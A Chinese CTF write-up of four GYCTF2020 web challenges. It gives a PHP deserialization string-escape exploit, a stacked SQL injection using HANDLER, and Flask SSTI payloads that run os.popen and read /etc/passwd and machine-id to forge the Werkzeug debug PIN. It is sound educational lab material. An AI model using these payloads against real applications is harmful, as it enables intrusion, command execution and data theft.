[GYCTF2020]Easyphp
一道代审的好题!

一个管理系统的登录页面,目录扫描,www.zip源码泄露,那么开始代码审计!
index.php
php
<?php
require_once "lib.php";
if(isset($_GET['action'])){
require_once(__DIR__."/".$_GET['action'].".php");
}
else{
if($_SESSION['login']==1){
echo "<script>window.location.href='./index.php?action=update'</script>";
}
else{
echo "<script>window.location.href='./index.php?action=login'</script>";
}
}
?>
一个通过action进行包含当前目录下的文件,由于__DIR__/的出现导致难以成为文件包含漏洞!
login.php
php
<?php
require_once('lib.php');
?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>login</title>
<center>
<form action="login.php" method="post" style="margin-top: 300">
<h2>百万前端的用户信息管理系统</h2>
<h3>半成品系统 留后门的程序员已经跑路</h3>
<input type="text" name="username" placeholder="UserName" required>
<br>
<input type="password" style="margin-top: 20" name="password" placeholder="password" required>
<br>
<button style="margin-top:20;" type="submit">登录</button>
<br>
<img src='img/1.jpg'>大家记得做好防护</img>
<br>
<br>
<?php
$user=new user();
if(isset($_POST['username'])){
if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['username'])){
die("<br>Damn you, hacker!");
}
if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['password'])){
die("Damn you, hacker!");
}
$user->login();
}
?>
</form>
</center>
主要有个类的实例化,创建了一个对象,且最后调用了login()方法!然后就是做了防sql注入(基本上注入有点难)
update.php
php
<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}
?>
同样调用了update()方法!但是只要登录成功,即$_SESSION['login']===1就能拿flag!
所以至此我们的思维焦点就是放在3个点:
1,login.php的方法调用
2,update.php的方法调用
3,如何$_SESSION['login']===1
lib.php
php
<?php
error_reporting(0);
session_start();
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
class User
{
public $id;
public $age=null;
public $nickname=null;
public function login() {
if(isset($_POST['username'])&&isset($_POST['password'])){
$mysqli=new dbCtrl();
$this->id=$mysqli->login('select id,password from user where username=?');
if($this->id){
$_SESSION['id']=$this->id;
$_SESSION['login']=1;
echo "你的ID是".$_SESSION['id'];
echo "你好!".$_SESSION['token'];
echo "<script>window.location.href='./update.php'</script>";
return $this->id;
}
}
}
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
public function __destruct(){
return file_get_contents($this->nickname);//危
}
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo,$sql){
$newInfo=unserialize($newInfo);
$upDate=new dbCtrl();
}
public function __destruct()
{
echo $this->sql;
}
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct()
{
$this->name=$_POST['username'];
$this->password=$_POST['password'];
$this->token=$_SESSION['token'];
}
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
public function update($sql)
{
//还没来得及写
}
}
想要通过login.php使得$_SESSION['login']=1就只有下面这种可能
php
if($this->id){
$_SESSION['id']=$this->id;
$_SESSION['login']=1;
echo "你的ID是".$_SESSION['id'];
echo "你好!".$_SESSION['token'];
echo "<script>window.location.href='./update.php'</script>";
return $this->id;
}
即这个必须返回true
php
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
此时的查询语句是select id,password from user where username=?
这里没有注入可能,具体参考我的另一篇文章:从ctf引发对with rollup语句的思考-CSDN博客
那么只能看看update.php里面对象对方法的调用了
php
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
很明显就不管其他的,Info=unserialize(this->getNewinfo());就这点,反序列化的内容我们可以控制,那不就是反序列化漏洞了嘛,如果可以打通链子的话!其他的都不用去看
找链子:UpdateHelper:__destruct方法-->User的__toString-->Info的__call方法-->dbCtrl的login
关键在这个:dbCtrl的login,我们要用它干嘛呢?
_SESSION\['token'\]=this->name;就是这个,我们让它等于admin!
怎么做?函数接受的参数$sql可控,我们让它select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?那么这样并控制了返回的id的password(1的md5值)
exp:
php
<?php
class User
{
public $age=null;
public $nickname=null;
public function __construct(){
$this->age='select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
$this->nickname=new Info();
}
}
class Info{
public $CtrlCase;
public function __construct(){
$this->CtrlCase=new dbCtrl();
}
}
Class UpdateHelper{
public $sql;
public function __construct(){
$this->sql=new User();
}
}
class dbCtrl
{
public $name='admin';
public $password='1';
}
$a = new UpdateHelper();
echo serialize($a);
?>
这么去触发这个链子?
我们反序列化的其实是这个类
php
class Info{
public $age=1;
public $nickname='aaa';
public $CtrlCase;
}
但是我们可以控制其中的两个属性

我们对其进行字符串增加逃逸
明确要逃逸的字符:
";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}};}
经计算:264个,那么就是52个*2个load
那么payload就是:
update.php
post:
age=1&nickname=****************************************************loadload";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}};}
这么一搞,$_SESSION['token']=='admin'。
然后在login.php页面用户名输入admin,那么肯定会返回id和password,就会进入到
php
if ($this->token=='admin') {
return $idResult;
}
那么就可以拿到flag!
总结
先是一个虚假的文件包含,利用不了!然后慢慢有序地审出个反序列化!那么就是找链子,之后就是想如何触发!值得深思,代审的流程
[GYCTF2020]Blacklist

黑名单都出来了!
堆叠呗!
?inject=1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;%23
handler用于生成一个句柄(间接指针)

[GYCTF2020]FlaskApp
在解密的地方报错出部分源码和python解释器的位置

python
@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)
flash( res )
很明显是一个ssti
由于要加密和解密,懒得一步步去测,干脆用个万能点的
控制块 {%%} 同样也是渲染,可以声明变量,也可以执行语句
{%for c in x.class.base.subclasses() %} {%if c.name=='catch_warnings' %}{{c.init.globals['builtins'].open('app.py','r').read()}}{%endif %}{%endfor %}
把源码搞到
python
from flask import Flask,render_template_string
from flask import render_template,request,flash,redirect,url_for
from flask_wtf import FlaskForm
from wtforms import StringField, SubmitField
from wtforms.validators import DataRequired
from flask_bootstrap import Bootstrap
import base64
app = Flask(__name__)
app.config['SECRET_KEY'] = 's_e_c_r_e_t_k_e_y'
bootstrap = Bootstrap(app)
class NameForm(FlaskForm):
text = StringField('BASE64加密',validators= [DataRequired()])
submit = SubmitField('提交')
class NameForm1(FlaskForm):
text = StringField('BASE64解密',validators= [DataRequired()])
submit = SubmitField('提交')
def waf(str):
black_list = ["flag","os","system","popen","import","eval","chr","request",
"subprocess","commands","socket","hex","base64","*","?"]
for x in black_list :
if x in str.lower() :
return 1
@app.route('/hint',methods=['GET'])
def hint():
txt = "失败乃成功之母!!"
return render_template("hint.html",txt = txt)
@app.route('/',methods=['POST','GET'])
def encode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64encode(text.encode())
tmp = "结果 :{0}".format(str(text_decode.decode()))
res = render_template_string(tmp)
flash(tmp)
return redirect(url_for('encode'))
else :
text = ""
form = NameForm(text)
return render_template("index.html",form = form ,method = "加密" ,img = "flask.png")
@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)
flash( res )
return redirect(url_for('decode'))
else :
text = ""
form = NameForm1(text)
return render_template("index.html",form = form, method = "解密" , img = "flask1.png")
@app.route('/<name>',methods=['GET'])
def not_found(name):
return render_template("404.html",name = name)
if __name__ == '__main__':
app.run(host="0.0.0.0", port=5000, debug=True)
black_list = ["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"]就过滤了这些玩意直接使用拼接绕过!
payload:{% for c in x.class.base.subclasses() %}{% if c.name=='catch_warnings' %}
{{ c.init.globals['builtins']['imp'+'ort']('o'+'s')['po'+'pen']('ls /').read()}}{% endif %}{% endfor %}
{%for c in x.class.base.subclasses() %} {%if c.name=='catch_warnings' %}{{c.init.globals['builtins'].open('/this_is_the_fl'+'ag.txt','r').read()}}{%endif %}{%endfor %}
拿到flag!!!
讲讲第二种方法:
为什么会报错?其实是一个debug的页面,也就是说我们把pin值破解就可以拿到shell!
破解pin码:
username当前程序的用户名,通过/etc/passwd可以获取
modname,默认是flask.app
当前对象名称 默认是Flask
flask包内的app.py的绝对路径,刚刚报错出来了
Mac地址,通过/sys/class/net/eth0/address获取
机器码:这个分docker机和非docker机器
{%for c in x.class.base.subclasses() %} {%if c.name=='catch_warnings' %}{{c.init.globals['builtins'].open('/etc/passwd','r').read()}}{%endif %}{%endfor %}{%for c in x.class.base.subclasses() %} {%if c.name=='catch_warnings' %}{{c.init.globals['builtins'].open('/sys/class/net/eth0/address','r').read()}}{%endif %}{%endfor %}
{%for c in x.class.base.subclasses() %} {%if c.name=='catch_warnings' %}{{c.init.globals['builtins'].open('/etc/machine-id','r').read()}}{%endif %}{%endfor %}
{%for c in x.class.base.subclasses() %} {%if c.name=='catch_warnings' %}{{c.init.globals['builtins'].open('/proc/self/cgroup','r').read()}}{%endif %}{%endfor %}
后面没啥说的了!
[GYCTF2020]Ezsqli
根据页面的回显发现可以打盲注,但是information被ban了
参考前面写的一篇文章:从information被ban到无列名注入-CSDN博客
这题我在文章里面也写了!